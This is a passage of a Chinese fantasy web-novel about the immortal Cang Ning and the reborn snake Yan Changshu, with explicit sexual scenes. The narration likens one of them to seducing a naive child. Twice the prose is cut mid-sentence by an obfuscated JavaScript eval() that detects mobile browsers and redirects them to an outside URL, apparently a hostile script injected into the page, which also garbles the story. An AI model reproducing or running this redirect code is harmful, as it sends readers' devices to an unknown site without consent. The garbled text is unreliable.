原来苍宁不止他一条蛇,苍宁有很多很多和他差不多大的,比他厉害得多的小鸟。他们看上去又精神又漂亮,他们有羽毛,会飞,好厉害,他又黑又丑,没有毛也不会飞……一点都不好。 他们笑话他:你是一条大黑虫!师傅才不会喜欢你这种蠢笨玩意呢!师傅是因为闭关才没把你赶走,你识趣点,赶紧离开,别给我们飞羽宗招笑! ……好痛。 小蛇再次被粉衣裳的人捉回去的时候,不仅鳞片很痛,心也很痛。 小蛇趴在青鸾殿中,发觉身体的伤痕在一股丰盈的力量中逐渐恢复如初。几个太阳,几个月亮过去之后,小蛇在青鸾殿的阴影中化成了人形。他尝试站起来,用新鲜的角度看待这个世界,但他跌跌撞撞走不好路,走一步摔一路,只好又变回小蛇的模样,趴在苍宁床边,等她醒来。 他可以化为人形了! 他是不是没那么差劲…… 小蛇有点高兴。他沿着床柱钻到帘幔里,帘幔搭在小蛇脑袋上,落到小蛇身子上。他吐着蛇信,进入苍宁的床榻间,支起半个蛇身遥遥看苍宁的脸。 宁宁,像花。 ……好美。 黑鳞在干净的被褥上摩挲而过,小蛇迟疑地靠近,忽然停下。他的鳞片是黑色的,和苍宁的皮肤不一样。 看起来脏吗? 小蛇想起了那些人的责骂。他呆了半晌,心里那点欣喜的火花骤然熄灭,缓缓爬下来,待在床榻下面,不再敢接近她。 ……可能,那些鸟说的是对的。小蛇吐着蛇信,自顾自地想:因为她们都是小鸟,他是小蛇。小蛇和小鸟是不一样的。一个在天上飞,一个在地上爬,怎么会一样呢?苍宁身边没有他的话,可以一直在天空上,还能站在云朵上,多漂亮。 鸟之所以拥有羽毛,就是用来飞翔。 小蛇焦虑地咬着自己的身体,扒拉下漂亮的鳞,鳞片上沾着一绺一绺的血丝,看上去更让人讨厌了。如果他也是小鸟就好了,等他长出羽毛,长出翅膀,他也可以飞起来……可是不行,他是很笨很笨的小蛇,他没有办法变成鸟,他只是一条没有能力的小蛇。 这样的小蛇,没有资格待在漂亮的花身旁。 小蛇趴在地上看月亮。 不知道为什么,他的心特别难受,他眼中的月亮碎成了一千片,全都落在了心里。 所以,他想要离开。 直到这一次,苍宁醒来,说他是她的童养夫。 童养夫和徒弟不一样。 童养夫可以亲宁宁,是吗? 童养夫好厉害,像是小蛇长了翅膀。 …… 晏长书顺着馨香的被褥角小心翼翼地爬上床,跪在床角,努力把自己缩得很小,不占地方。苍宁将他拉过来,他的手很冷,很冰,捏着一层冷汗。 脸上有血痕,身上也有,眼神怯怯的,模样看上去倒是乖乖的。苍宁有几分心疼。这条傻蛇,怎么把自己养成这样子…… 苍宁端看他半晌,觉得少年版的晏长书实在可爱,生出几分调戏的心思。她挥手将他破损的衣裳剥离下来,手指所及之处,修复好他的伤口。末了,带着他的手指点到自己的唇上。 “晏长书,你还没有亲我,嗯?” 晏长书歪头,迟疑半晌,低声问:“徒弟也可以亲宁宁吗?” 苍宁摇头:“不可以。” “那其他小鸟呢,粉衣裳的桃树呢?” 苍宁失笑:“其他小鸟,粉衣裳的桃树也不可以。除了你,旁人都不可以。” 晏长书消化着这个事实:“只有童养夫可以?” “只有晏长书可以。”苍宁说,“因为我喜欢晏长书。” 晏长书微微睁大眼睛:“喜欢?” “爱。” “爱?”小蛇摇头,“我不懂。” “你不明白吗?”苍宁轻轻笑着,“我知道你明白,你很懂的,晏长书。” 如果不懂,就不会做出那些牵动她心弦的事情。如果不懂,欲望便不会为克制让路。 苍宁又问:“想好了吗?要吻我吗?” 晏长书点点头,懵懂地擦过她的唇角,蜻蜓点水,一触即离。苍宁弯了弯唇:“你怎么了?” 他揪着心口的衣裳,红着脸,蹙眉道:“宁宁,我好难受,我是不是快死了?” 苍宁的手在他心口一探,嘭嘭嘭,像跳舞的鼓。她弹他脑门:“胡说些什么,你可是我好不容易救回来的童养夫,不会死的。” 他点点头,黑眸发亮:“可是跳得好快。” 苍宁使坏道:“要不要更快一点?” 小蛇双唇微张,毫无防备。 苍宁轻松地吮住他的唇瓣,将口中淡金色的魄丹转移过去,直到迷蒙中的小蛇白净的脸庞满是红晕,黑眸泛着迷离沉醉的光,才松开他。 “晏长书,不可以让别人亲你,只有我才可以亲你,知道吗?”苍宁确保魄丹进入了晏长书的身体,只是不知晓什么时候晏长书才会恢复。她笑眯眯提问道,“这条加入小狗蛇守则第二条,第一条是什么?” 晏长书低低喘着气:“不可以……不可以离开宁宁身边。” “第二条呢?” “只有宁宁才可以亲我。”他顿了顿,自己加上半条,说的时候偷看她的脸色,“也……也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035261|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有我可以亲宁宁。” 苍宁低笑:“好,帮我穿衣。” 闭关二十年,苍宁可不会让自己受苦。她选的床褥都是上好的,干净整洁又舒服,就算睡二十年也不会腰酸背痛。 她未着一物,由晏长书给她轻手轻脚地套上亵衣。穿衣裳的时候,晏长书的眼睛虽闭着,手指却难免触碰到温润如玉的肌肤。她瞧见小蛇的耳根子红透了,石榴籽儿一般,实在可爱又有趣,见那物儿也/硬/着,便使坏,伸出腿去刮蹭。 晏长书受惊睁开眼,看见她的身子,春光泄露,又闭上眼,手忙脚乱地帮她系好衣带,被苍宁逗弄着。 好舒服……不,不对! 他肩膀颤颤,用全部的力量隐忍着,无法控制自己的身子不发烫。 好热…… 宁宁……宁宁在弄……为什么要弄那个地方……唔! 小蛇并没有尝过这样的滋味,不免痴痴如醉,眸光潋滟。就在他即将抵达之时,苍宁收回了自己的腿。腿上莹润的肌肤蹭着一层潋滟的水色,晏长书那处的衣裳也沾着些许液体。 “哎呀,弄脏了。”苍宁趁乱亲了他一口,眸子转了转道,“晏长书,我要再加一条。” 再加一条? 晏长书喉珠上下滚动着,闭着眼,双手紧紧贴在自己背后,不敢随便碰她。 “加一条,这地方只有我能碰。这是第三条了。这些规矩你都要好好遵守。” 他郑重点头。 “你睁开眼。” 他慌忙摇头。 “你睁开眼,看看我。” 晏长书眼皮微动,睁开,苍宁已经穿好了衣裳,红地团花对鸟纹锦,衬得她更为动人。 “现在,可以梳头发了。你很擅长这个的。”她递给晏长书一把篦梳。 晏长书看着手里的梳子。他没有替人梳过头发。这是他第一次摸到梳子。宁宁真的是在说他吗?还是说,有个和他长得很像的人…… 可只要苍宁说他擅长,他便会尝试。 出关后,苍宁发现他特别特别认真,特别特别努力,不论她说什么,他都会去做。如果让他别做了,他便会露出失落的表情。 飞羽宗的弟子们对他态度恭敬许多,晏长书面对他们的行礼反而不知所措。 他每日都用凉水冲澡,把自己打理得干干净净,然后,慎之又慎地从她脚边的被褥慢慢爬上来。 “宁宁。”他并不做什么,只是唤她一声,弯着眼睛笑。苍宁担心魄丹融合不好,没有再逗弄他,总是与他交吻,一日两日……等不到苍宁的触碰,晏长书格外失落,以为自己哪里做错了,做得不好,惹她生厌。 魄丹重回身体,他的脑袋也逐渐清明,还会看见一些奇妙的场景。 这一夜,晏长书从十八层地狱的酷刑中醒来,以为自己仍旧被人讨厌,变回小蛇瑟瑟发着抖。好可怕。好讨厌。他一定做了很可怕,很让人讨厌的事情,才会受到这样的惩罚。 空气中弥漫着不安,苍宁醒来过,挥手点燃烛火,四处找他,终于在床缝里找到一条不安的蛇。 她把晏长书捞出来,心跳得难受:“吓死我了,我还以为你不见了。” “宁宁……” 苍宁问道:“怎么了?你变回来,我们好好说话。” 晏长书变回人身蛇尾,用尾巴缠住了苍宁的腿。 他努力想了想,咬着唇,试探道:“其实……其实宁宁喜欢的是另一个晏长书,他比我厉害比我好,对不对?” 74. 饲养小狗蛇·三 苍宁挑眉:“你又听到什么了?” “不是的。”晏长书摇头。 晏长书告诉她,在他的梦里,有另外一个他。那个他也是晏长书,比现在的他高,比现在的他好看,比现在的他厉害一百倍。 他毫无遮掩地将看见的东西陈述出来: 那个晏长书斩断轮回,在地狱里受罚,好不容易从地狱里爬出来,变得很虚弱。那个晏长书拖着病体到了招摇山,他放了很多很多血,坚持用血布下了一个复杂的阵法,嘴唇发白,直到精疲力竭,一根手指都无法动弹,虚弱地用蛇尾在一张信纸上勾画。 “我一个字都没有看懂。”他说,“但是我知道,这封信是写给宁宁的。” “为什么?” “因为他和我一样,都想着宁宁。” 室内一团昏黄,他眸如点漆,苍白的面容覆上一层柔柔的烛光,轻声问道:“他那么好,宁宁是不是认错人了?” 苍宁如鲠在喉,一时不知该如何回答。烛光微微晃动,一如苍宁心神摇曳。她鼻尖微涩,百感交集,低声道:“我怎么会认错你,晏长书?你就算化成灰我都能认出你。” “真……真的?” 苍宁故意道:“当然啊,因为你很笨,还很傻,做了这么多,都没有留机会亲口告诉我。如果是其他人,肯定要好好在我面前说道他们的功劳,你这种小笨蛇要是没有我,就真的魂飞魄散再也回不来了。” 他有点迷茫:“宁宁没有找错人吗?” “没有。” 他不太理解:“可是,我没有那么好。宁宁应该……” “应该怎样?” 他目光躲闪了一下,张开的唇里没有发出声音。 苍宁似笑非笑道:“应该抛下你,去找另一个人,去找一个更好的?你愿意吗?” 他抿唇:“我……我不愿意。心会难受。可是……” “没有什么可是。”苍宁眼中泠泠有光,对他笑道,“你要知道,我是苍宁,我不会把我的时间和生命浪费在不值得的人身上,不是有个俊俏郎君冒出来,我就会停留我的目光,我喜欢的,一定是天底下最好的郎君。你看见的那个厉害的晏长书,就是你自己。曾经的你。” 他抬眼:“宁宁……” 苍宁想了想:“但是我也有疑惑。” 他安静地听她说话。 “我在很多很多时间段中见到了晏长书,有很多人告诉我,那些都不是真正的晏长书。”包括现在这个,可爱的,乖乖的,胆怯的小蛇,也会被旁人归于“不是真正的晏长书”的范围里。 但是苍宁觉得他们错了。 不管晏长书是什么模样,又存在于哪段时间的碎片里,他的行事逻辑总是一模一样。他总是爱她。他总是本能地想要独占她,又因为爱她,痛苦地给她自由。 所以…… 苍宁继续说:“所以,我也想知道,等你拥有全部的记忆之后,会是什么样的晏长书。我想要一个亲口答复。” “答复……?” “我曾经坚定过一个念头。”苍宁瞧着他,柔声道,“有恩报恩,有价还价,君若有意长相守,君若无意我便休,从此明了。” 小蛇没听懂,他用凉凉的尾巴缠绕着苍宁的双腿,说道:“那等有一天,宁宁不喜欢我了,一定要记得告诉我哦。” 苍宁失笑:“我不喜欢你了,你去哪?” “回到山野林间。当蛇。”他还记得那些淘气包鸟族说的话。 “可我很喜欢你,是不会放过你的,晏长书。”苍宁吓唬他,“就算有那么一天,我也要把你关起来,锁起来,不许你见到其他人,眼里只许有我一个人,只许喜欢我一个人,只许爱我一个人,我要你爱我爱到你死的那一天。知道吗?” 小蛇乖乖点头,认真记下:“这是守则第四条吗?我记住了,宁宁。我会爱你爱到我死的那一天。” 苍宁一愣。他说的那样平静,但是,黑眸中的认真一点都不像是假的。 这个眼神多熟悉,多炽热。她想到在卍象图中,她在杯中看见过这样的眼神,又想到在人界的王城,在医馆,在漫天飞雪的洞穴中,他都曾这样看着她。 她不会认错他,不会认错他的眼睛,不会忘记爱和时间一样永存,让人一往无前。 烛火灭去之后,苍宁躺在床榻上,听他说起看见的记忆。她知道的,不知道的,他都会毫无保留地告诉她。 她知道他活了很久很久,走完了六界,知道他被赶来赶去,众人敬畏他又憎恨他。 但苍宁不知道,在她被丢到鬼界,濒临崩溃的时候,晏长书去找了她。 他真的去找她了。不是她毫无由来的幻觉。 她心提起来,后知后觉地想:那会儿她多丑啊,没有羽毛,没有头发,是个被鬼气吞噬的,一心想要终结自己的疯子。她到现在都不愿意回到鬼界去。 瑞鸟和鬼界天生不合。 小蛇趴在枕头上说:“……那只鸟没有毛,但是很可爱。她要那个晏长书……”苍宁纠正了一下,小蛇生硬改口,“她要我一起陪她找乐子,玩游戏。她一会儿给我戴上红盖头,到处告诉别人我是她的夫君,一会儿威胁我不听话,要离开她的话,她就要砍掉我的腿,一会儿又在哭,很伤心地哭。” 黑暗中,苍宁抖着眼睫。 “……我每次去看她的时候,都是一个人,她把我认成鬼魂。她希望有个人可以救救她,带她离开那里。她说她想死,可是她又想到神佛,想到轮回,她说她求不了神明佛陀,她不想要下辈子,她再也不想要来世间了。”小蛇想了想,“所以,我把她身上的鬼气渡到自己的身上,希望她能开心一点。” 苍宁沉默良久,带着点鼻音道:“后来呢?” “只要她一直待在那里,就改变不了任何事情。我希望她能离开,但是她想要死。一想到她要死,我很快就结束修行去找她了,终于在她掉进塔的时候抓住了她。” 再后来,苍宁也知道了。 她笑了笑,回头抱住他,埋首在他脖颈间。 小蛇闻见了浅淡的馨香,然后,又闻到了湿漉漉的气息,像是雨水淋湿青草,雨过天晴后的那种潮湿的气味。 他反应过来,着急道:“宁宁,你别哭。” 苍宁嘲笑他:“小蛇脑子笨,嘴也笨。好笨的蛇。” 好笨的蛇,喜欢没有羽毛的鸟。 “宁宁,我会遵守规则的,”小蛇有点委屈,“我会努力的。” 小蛇的衣襟都湿了,苍宁才吸吸鼻子,双眼微红道:“你真的好笨。我是鸟族,我们认定一个人就是一生一世一双人。等我死了,我就把你杀了,葬在我的坟墓里。蛇鸟一窝,你永远跑不掉的,晏长书。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038829|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小蛇点头:“好。第五条吗?” “你脑子里怎么都是守则?” “我想留在宁宁身边。我也想别的,可是怕宁宁不高兴。”小蛇想了想,还是有点小贪心,“宁宁今天晚上可以亲亲我吗?” 他的尾巴尖缓慢地晃了起来。 苍宁无法拒绝这样真诚的小蛇。她亲了亲他,很单纯地亲了亲,四片唇瓣擦过,只需流连几瞬,小蛇的眼睛就亮晶晶的。 一觉睡醒之后,苍宁发现小蛇偷偷地挪过来吻她的唇,闭着眼,苍白的面容浮着红晕,只会紧贴着唇瓣,非常纯情。 她装作不知道。她更关注晏长书魄丹的事情,不知道融合的怎么样,需要多少时间…… 白日她授课时,小蛇很乖,就待在外面。他观察花,观察鸟,观察鱼,观察天空,观察时间,观察大地……最初,他的生活就是这样单纯。 朱翘瞧他长得俊,偶尔逗弄他,他忙躲在苍宁身后。他甚至告诉他们,他是苍宁的童养夫,不可以乱碰他。鸟族弟子骂他不要脸,这种事拿出来乱说,他不高兴,就要说,就要说,他说他是宁宁的,宁宁在等他长大。 他的力量越来越强,一次,竟然自动张开了一层淡金色的结界,让那些想抓他的鸟族全都被弹飞了,所有人都惊呆了,再不敢动他,走路都绕道,连他自己都惊呆了。 他确实有很多力量,源源不断地充斥着身体……但他从不滥用。 只会在没亲够宁宁,宁宁却醒来的时候,扭转时间多亲两次。 好喜欢,好喜欢呀。 小蛇舔着嘴角,又压在苍宁唇瓣上。 最初的愉悦让小蛇欲罢不能,可是很快,他就不满足这样的亲吻了。 苍宁发现,这两日小蛇会在偷偷亲她的时候,伸出一点舌尖,仔细描摹一遍她的唇瓣,尝试用舌尖顶开她的牙关。她顺从地张开唇,小蛇如鱼得水,舌尖探进去,与她的舌交缠,尾巴也缠到她腰上,发出沉醉的喟叹。 越来越炽热的吻令人血脉躁动,他吻得越来越深,几乎要将她整个吃下去一般。小蛇不知道怎么纾解越来越强烈的欲念,只会贴在她身旁克制地,低低喘气。 苍宁很明显地感受到了那两个大东西,似乎是因为晏长书不是成年身形的缘故,那两个家伙没有那么夸张。 本来想等到晏长书恢复之后的,可是……苍宁见他恢复得好得很呢,还会做“坏事”。 等他平息一会儿,再度吻她的时候,她忽然睁开眼,小蛇吓了一跳。 “宁宁……” 他的鬓发汗湿了些,黑曜玉般的瞳仁格外迷人。他大着胆子凑上来吻她,求摸求抱:“宁宁,我一直很遵守规则,我很想亲宁宁,宁宁……” 苍宁略凉的手指从他脸庞上滑下去,碰到他那物儿,轻轻一弹,他绷紧身子,颤得不行。 苍宁看见手指上有点水光,笑道:“自己碰过吗?” “没有。”小蛇乖乖的,“只有宁宁可以碰。我喜欢宁宁。” 苍宁枕在他的发上,闻见熟悉的香气,吻住了他的唇。她的手摆弄着他,好似最称手的玩具。 苍宁嗓子哑了。 “晏长书,我们来做点有趣的事吧。” 他虽不解,但很期待。 “什么事?” “比亲吻还要舒服,只有我和你才可以做的事。” 75. 饲养小狗蛇·四 小蛇微凉的蛇尾在苍宁肌肤上缓缓滑动,越缠越紧,鳞片特有的质感摩挲出一层痒意。 蛇鳞软硬适中,软而滑。晏长书的面庞弥漫着一层热意,黑眸晶亮,气色极佳。苍宁含住他的唇瓣,不免有些得意。 她的养蛇经验果然很丰富,小蛇被他养得很好。 又甜又乖又听话。 苍宁忍不住多吻了他几回。 待唇瓣分开之时,小蛇红着脸,张着唇,双眼迷离地蹭她:“宁宁,好难受……” 这句话苍宁熟悉。 她和晏长书第一次相遇后,他因蛇蜕日日抱着她寻求慰藉,后来就难受起来。那时候的晏长书和现在一样单纯,对床笫之事一窍不通,苍宁见他那两个夸张可怖,没有和他真的快活一回。 要说起来,还是在凡间那几回逍遥快活。尺寸……尺寸比较能吃得下…… 苍宁虽喜欢他,可现在这样,太像引诱不懂事的孩童,她心底稍有几分罪恶感,又隐隐有几分不着调的兴奋,想要将他搓圆揉扁,令他言听计从。 她的手再次往下移,小蛇低下头,单纯地问:“宁宁也有这个吗?” “没有。” 他有点惊讶,眨眨眼:“那宁宁那里是空的?” 什么空的啊,苍宁哭笑不得: “想看?” 苍宁手上忽然使劲儿,小蛇低低喘了一声,掐住她的手腕,手背上青筋凸起:“唔哼……想、想知道。” 苍宁闷笑道:“那你好好表现,我高兴了,就让你看看。” “真的?”小蛇腰眼发颤,眼尾浮上一抹红,黑眸浮动着迷醉的光,低声轻问,“怎么样才可以让宁宁高兴?” 苍宁与他呼吸相闻,弯着眸道:“让我……为所欲为。” 为所欲为。 这四个字唤起了小蛇久远的,藏在心里的念头。很早很早以前,在他还是很厉害的晏长书的时候,他就是这样想的:她可以对他为所欲为,这是他给她的权利,只要她愿意,他可以将自己的一切如供品奉上。 他为之兴奋地发颤。 苍宁的动作愈来愈快,他几乎没有办法连贯的呼吸,就这样生涩地沉溺在“初次”的快意中。 小蛇尾巴不由自主顺着苍宁的脚腕处往上挪动:“宁宁,想要……” 他渴求着,想要奖励。 苍宁轻笑一声,将手中的液体擦干净。净手的时候,她才发现招摇山下起了雨,淅淅沥沥,是格外适合抱在一起睡觉的天气。 她打开窗,微凉的山风将她的衣料吹起,姣好的身姿若隐若现。 深夜,窗外无人,唯有小蛇的目光始终跟随。 苍宁倚坐在窗台,伸手接雨。冰凉的雨珠从她指尖滑落,汇聚在掌心,积着一滩水。她的身体同样如此,犹如牡丹垂露。 她看向床榻的方向,晏长书的目光穿过帘幔,热烈而专注。 她知道他能听见天地最细微的声响,能看见所有山川大地的连接,因此,她很喜欢他将全部的注意力停留在她的身上。 她喜欢他着迷的目光。 春夜淫雨霏霏。室内没有烛光,屋外亦没有月光,青鸾殿中弥漫着安静的午夜黛蓝。 苍宁解开腰间的系带,双手撑在窗台,面向他。 微微岔开。 她能感受到帘幔后面的目光变得更加炽热,甚至有丝危险,像是捕食者发现猎物那样蠢蠢欲动,流淌着最原始的冲动。 她脚尖点地,湿漉漉的掌心面对他,轻声唤他: “晏长书,来。到这里来。” 他屏住呼吸,蛇身从床榻上而下,缓缓爬过去。 她低头看着他,微微勾唇,牵住他的发。 他的鼻尖沾到了露水,用唇去吻。很快,他也感受到了外面漫天的雨露,一丝丝,甜津津,将他的脸庞都淋湿了,他更用力地吻着。苍宁支不住,弯下腰,一头漂亮的长发半露在窗外,双眸看着阴沉沉的天,同他一起沉溺在无法克制的爱/欲/之中。 醉生梦死。 …… 这夜过去,苍宁腰酸背痛。 白日仍旧下着雨,她仰倒在床榻上,一动不想动。 啊…… 唉…… 她再也不相信晏长书看起来年纪小,那物儿也小的猜想了。不对,根本不对,完全不对! 晏长书在床上发起疯来还是和从前一个样,强烈的占有欲,几乎要将她溺毙的亲吻,还有一下又一下,在她身体里留下的痕迹。 她到现在肚子都是饱的,根本吃不下。偏生小蛇还兴高采烈地端来吃食,想要喂她吃。她摆摆手,瘫倒在被褥中:“吃不下。” 晏长书蹙眉问:“怎么会吃不下,昨夜那样多次……” 苍宁瞪他:“晏长书!” 他改口问:“真不吃?” “吃饱了。” 苍宁埋在被褥中,露出半张脸,总觉得他的神色较最初有些不一样了。 不能叫她一眼看透。 他漆黑的眉眼清冷深邃,勾着唇角,有种捉摸不透的神秘感。 晏长书探手过来,摸了摸她的肚子。丰腴而不失美感,盈一分则胖,瘦一分则无味,美得刚刚好。 他长睫颤颤,手指不听话地摸到那处,苍宁摇头:“真的吃不下了。” 她呜咽一声:“晏长书,什么都吃不下了。” “还下着雨呢。”他嗓音低哑,“宁宁奖励我吧。”< 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晏长书恢复得不错哦,都开始看书了。 苍宁不由好奇道:“你在看什么书?” “桃枝找来的。”他道,“你不想看的。” 苍宁挑眉:“我不想看?你觉得我看不懂。” “不是。” 晏长书让她别看,她非要看。她一打开,里头是小鸟春宫图,她大吃一惊:“这……”这不是卍象图里那本吗,桃枝怎么还能找到!! “他画的。” “他画春宫图?!”苍宁握拳,“一个个都得教训。” 说着,她就拎着罪证去把桃枝教训了一顿,回来的时候,关殿门的声音,整个青鸾殿都在回响。 她啜了口茶,把莲花碗啪得一下放在桌上,眯着眼睛对他道:“晏长书,你过来。” 他懒懒靠在床头,衣裳半解,她忽然咽了咽口水。 他过来,扣住她的腰身,让她坐在自己的腿上。 这样的姿势,这样的气息,晏长书分明都恢复了记忆,居然不和她说! 她哼了一声,不看他,摆着脸正准备生气,他转过她的脸,她便又转开,他又转回她的脸,她忿忿咬了他一口:“晏!长!书!” 他叹息:“我在。” “你好好解释一下吧。” “解释什么?” 苍宁道:“你,你是不是都想起来了?” 晏长书一瞬不瞬地看着她,眸中略带笑意:“说对了有奖励吗?” 他的唇轻蹭她的面颊,留下一串轻如蝶翼的吻,他哑声问:“可以吻你吗?”